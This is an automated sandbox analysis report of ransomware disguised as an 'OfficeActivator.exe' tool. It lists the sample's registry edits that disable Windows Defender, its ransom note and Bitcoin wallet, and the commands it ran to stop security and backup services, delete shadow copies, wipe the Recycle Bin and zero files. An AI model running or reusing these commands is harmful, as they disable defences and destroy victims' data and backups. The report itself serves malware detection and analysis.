8441f92e8460a7b2ed37ee96affe547a65589b2e8e980a18a6b08b786b48465d

Analysis

max time kernel
148s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
08-11-2024 19:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

OfficeActivator.exe
Size

87KB
MD5

1b4e57be75e855e54e84f55874782d4b
SHA1

f5f17bae63faad537233bb38647940bda7340b2c
SHA256

8441f92e8460a7b2ed37ee96affe547a65589b2e8e980a18a6b08b786b48465d
SHA512

076245019b439583d4a45e46e6c836a2724270aba0a6e1b04e20c4157bdb32533045ee118c22a013e6f7127f1d34eb8b82738156dd152dae7c4ef9da1cf39da9
SSDEEP

1536:LcW4lAJGGnzjoih/NDh/NDuk+XkGAK/hztXcag+PlbBfkWIyvZrw281r5XsmCZEq:4WNGszjoih/NDh/NDuk+XkGAK/hztXcE

Score

10^/10

defense_evasion discovery evasion execution impact persistence ransomware trojan

Malware Config

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral2/memory/1524-0-0x0000000000B90000-0x0000000000BAA000-memory.dmp	disable_win_def

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	OfficeActivator.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	OfficeActivator.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	OfficeActivator.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	OfficeActivator.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (60) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Blocklisted process makes network request 2 IoCs

flow	pid	Process
25	2652	mshta.exe
27	2652	mshta.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	OfficeActivator.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	OfficeActivator.exe

Windows security modification 2 TTPs 1 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	OfficeActivator.exe

Enumerates connected drives 3 TTPs 16 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\e:	vssadmin.exe
File opened (read-only)	\??\E:	vssadmin.exe
File opened (read-only)	\??\H:	vssadmin.exe
File opened (read-only)	\??\D:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\G:	vssadmin.exe
File opened (read-only)	\??\h:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\g:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	raw.githubusercontent.com
3	raw.githubusercontent.com

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "Information..."	OfficeActivator.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "Your Files are Encrypted.\r\n\r\nDon’t worry, you can return all your files!\r\n\r\nYou've got 48 hours(2 Days), before you lost your files forever.\r\nI will treat you good if you treat me good too.\r\n\r\nThe Price to get all things to the normal : 20,000$\r\nMy BTC Wallet ID :\r\n1F6sq8YvftTfuE4QcYxfK8s5XFUUHC7sD9\r\n\r\nContact :\r\[email protected]\r\n"	OfficeActivator.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3768	sc.exe
3592	sc.exe
5060	sc.exe
3600	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5192	cmd.exe
3672	PING.EXE

Interacts with shadow copies 3 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2056	vssadmin.exe
396	vssadmin.exe
5048	vssadmin.exe
3900	vssadmin.exe
4068	vssadmin.exe
3512	vssadmin.exe
3152	vssadmin.exe
4712	vssadmin.exe
4888	vssadmin.exe
2692	vssadmin.exe
1856	vssadmin.exe
4304	vssadmin.exe
1236	vssadmin.exe
3064	vssadmin.exe

Kills process with taskkill 3 IoCs

evasion

pid	Process
3188	taskkill.exe
3584	taskkill.exe
1364	taskkill.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3672	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	1524	OfficeActivator.exe
Token: SeDebugPrivilege	432	powershell.exe
Token: SeDebugPrivilege	1364	taskkill.exe
Token: SeDebugPrivilege	3584	taskkill.exe
Token: SeDebugPrivilege	3188	taskkill.exe
Token: SeBackupPrivilege	4720	vssvc.exe
Token: SeRestorePrivilege	4720	vssvc.exe
Token: SeAuditPrivilege	4720	vssvc.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
1524	OfficeActivator.exe
1524	OfficeActivator.exe
1524	OfficeActivator.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1524 wrote to memory of 432	1524	OfficeActivator.exe	83
PID 1524 wrote to memory of 432	1524	OfficeActivator.exe	83
PID 1524 wrote to memory of 4900	1524	OfficeActivator.exe	85
PID 1524 wrote to memory of 4900	1524	OfficeActivator.exe	85
PID 1524 wrote to memory of 2592	1524	OfficeActivator.exe	87
PID 1524 wrote to memory of 2592	1524	OfficeActivator.exe	87
PID 1524 wrote to memory of 4660	1524	OfficeActivator.exe	88
PID 1524 wrote to memory of 4660	1524	OfficeActivator.exe	88
PID 1524 wrote to memory of 3608	1524	OfficeActivator.exe	89
PID 1524 wrote to memory of 3608	1524	OfficeActivator.exe	89
PID 1524 wrote to memory of 3964	1524	OfficeActivator.exe	90
PID 1524 wrote to memory of 3964	1524	OfficeActivator.exe	90
PID 1524 wrote to memory of 2600	1524	OfficeActivator.exe	91
PID 1524 wrote to memory of 2600	1524	OfficeActivator.exe	91
PID 1524 wrote to memory of 2176	1524	OfficeActivator.exe	92
PID 1524 wrote to memory of 2176	1524	OfficeActivator.exe	92
PID 1524 wrote to memory of 2612	1524	OfficeActivator.exe	93
PID 1524 wrote to memory of 2612	1524	OfficeActivator.exe	93
PID 1524 wrote to memory of 3820	1524	OfficeActivator.exe	94
PID 1524 wrote to memory of 3820	1524	OfficeActivator.exe	94
PID 1524 wrote to memory of 2224	1524	OfficeActivator.exe	95
PID 1524 wrote to memory of 2224	1524	OfficeActivator.exe	95
PID 1524 wrote to memory of 1428	1524	OfficeActivator.exe	96
PID 1524 wrote to memory of 1428	1524	OfficeActivator.exe	96
PID 1524 wrote to memory of 1676	1524	OfficeActivator.exe	97
PID 1524 wrote to memory of 1676	1524	OfficeActivator.exe	97
PID 1524 wrote to memory of 3984	1524	OfficeActivator.exe	98
PID 1524 wrote to memory of 3984	1524	OfficeActivator.exe	98
PID 1524 wrote to memory of 4044	1524	OfficeActivator.exe	99
PID 1524 wrote to memory of 4044	1524	OfficeActivator.exe	99
PID 1524 wrote to memory of 5064	1524	OfficeActivator.exe	100
PID 1524 wrote to memory of 5064	1524	OfficeActivator.exe	100
PID 1524 wrote to memory of 2532	1524	OfficeActivator.exe	101
PID 1524 wrote to memory of 2532	1524	OfficeActivator.exe	101
PID 1524 wrote to memory of 4420	1524	OfficeActivator.exe	102
PID 1524 wrote to memory of 4420	1524	OfficeActivator.exe	102
PID 1524 wrote to memory of 3628	1524	OfficeActivator.exe	103
PID 1524 wrote to memory of 3628	1524	OfficeActivator.exe	103
PID 1524 wrote to memory of 224	1524	OfficeActivator.exe	104
PID 1524 wrote to memory of 224	1524	OfficeActivator.exe	104
PID 1524 wrote to memory of 232	1524	OfficeActivator.exe	105
PID 1524 wrote to memory of 232	1524	OfficeActivator.exe	105
PID 1524 wrote to memory of 3932	1524	OfficeActivator.exe	106
PID 1524 wrote to memory of 3932	1524	OfficeActivator.exe	106
PID 1524 wrote to memory of 3372	1524	OfficeActivator.exe	107
PID 1524 wrote to memory of 3372	1524	OfficeActivator.exe	107
PID 1524 wrote to memory of 3332	1524	OfficeActivator.exe	108
PID 1524 wrote to memory of 3332	1524	OfficeActivator.exe	108
PID 1524 wrote to memory of 4572	1524	OfficeActivator.exe	109
PID 1524 wrote to memory of 4572	1524	OfficeActivator.exe	109
PID 1524 wrote to memory of 868	1524	OfficeActivator.exe	110
PID 1524 wrote to memory of 868	1524	OfficeActivator.exe	110
PID 1524 wrote to memory of 1280	1524	OfficeActivator.exe	111
PID 1524 wrote to memory of 1280	1524	OfficeActivator.exe	111
PID 1524 wrote to memory of 2124	1524	OfficeActivator.exe	112
PID 1524 wrote to memory of 2124	1524	OfficeActivator.exe	112
PID 1524 wrote to memory of 4768	1524	OfficeActivator.exe	113
PID 1524 wrote to memory of 4768	1524	OfficeActivator.exe	113
PID 1524 wrote to memory of 860	1524	OfficeActivator.exe	114
PID 1524 wrote to memory of 860	1524	OfficeActivator.exe	114
PID 1524 wrote to memory of 3524	1524	OfficeActivator.exe	115
PID 1524 wrote to memory of 3524	1524	OfficeActivator.exe	115
PID 1524 wrote to memory of 4748	1524	OfficeActivator.exe	116
PID 1524 wrote to memory of 4748	1524	OfficeActivator.exe	116

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\OfficeActivator.exe
"C:\Users\Admin\AppData\Local\Temp\OfficeActivator.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Checks computer location settings
- Drops startup file
- Windows security modification
- Modifies WinLogon
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" Get-MpPreference -verbose
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:432
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:4900
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop avpsus /y
    3⤵
    PID:2916
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:2592
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3⤵
    PID:5520
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:4660
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mfewc /y
    3⤵
    PID:5736
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:3608
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BMR Boot Service /y
    3⤵
    PID:5324
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:3964
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3⤵
    PID:5788
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:2600
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop DefWatch /y
    3⤵
    PID:5684
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:2176
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ccEvtMgr /y
    3⤵
    PID:5796
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:2612
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ccSetMgr /y
    3⤵
    PID:5608
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:3820
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SavRoam /y
    3⤵
    PID:5456
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:2224
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop RTVscan /y
    3⤵
    PID:5780
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:1428
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBFCService /y
    3⤵
    PID:5544
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:1676
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBIDPService /y
    3⤵
    PID:5712
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:3984
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    3⤵
    PID:5756
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:4044
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop QBCFMonitorService /y
    3⤵
    PID:5644
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:5064
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop YooBackup /y
    3⤵
    PID:5332
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:2532
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:5420
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:4420
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop zhudongfangyu /y
    3⤵
    PID:5440
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:3628
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    PID:5624
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:224
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VSNAPVSS /y
    3⤵
    PID:5556
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:232
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamTransportSvc /y
    3⤵
    PID:5476
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:3932
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3⤵
    PID:5580
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:3372
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:5692
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:3332
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:5500
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:4572
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:5860
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:868
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:5568
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:1280
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:5228
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:2124
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:5700
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:4768
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:5652
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:860
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:5832
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:3524
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecManagementService /y
    3⤵
    PID:5672
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:4748
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecRPCService /y
    3⤵
    PID:5728
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:2376
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:5744
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:1872
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:5664
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:856
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:5512
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:3016
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:5600
- C:\Windows\SYSTEM32\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:4708
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:5616
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:3768
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:3592
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:5060
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3600
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3584
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3188
- C:\Windows\SYSTEM32\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1364
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4888
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:5048
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:396
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:3064
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:4712
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1236
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:3152
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:3512
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:4068
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:4304
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:2056
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1856
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:3900
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2692
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:4556
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.hta
  2⤵
  - Blocklisted process makes network request
  PID:2652
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5192
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3672
- - C:\Windows\system32\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:4656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\OfficeActivator.exe
  2⤵
  PID:3960
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1320

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\User Account Pictures\HOW_TO_DECYPHER_FILES.txt

Filesize
446B

MD5
00dd1d8e8756229b0e703bcca9c8fa87

SHA1
97412aab7aa0663cd7bf7803549c5507834cfdf6

SHA256
6d4eabdf7bf6a550fed6004e1636053785b0e877f00e8d624af2f4989a544ae4

SHA512
14f3de03ad13eaf8e9ec5175c003a2f4e585ed128a724cbc7c446c717970613f6042ad286f91126391ca7574b9d4610a7ca4e97a77167e7a4247d7e21297f028

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mltuvifn.yto.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.hta

Filesize
1KB

MD5
a08c7c1f9d09a5e493729ff3523b3485

SHA1
d8392f27046921e1d9c32120b683f207e6f2821d

SHA256
d066f2aeebe7aae32e12b412b505b4528215bce7d9c4efb054450fb0c471d2ad

SHA512
5345d07e3818b243f4bfcef78ddbc417a108989a97954952798a2bbef2840fda289af1b1c64f4682d0ecfad52e1899858e8bd5462d22dba559c0563214cc2053

Download Submit
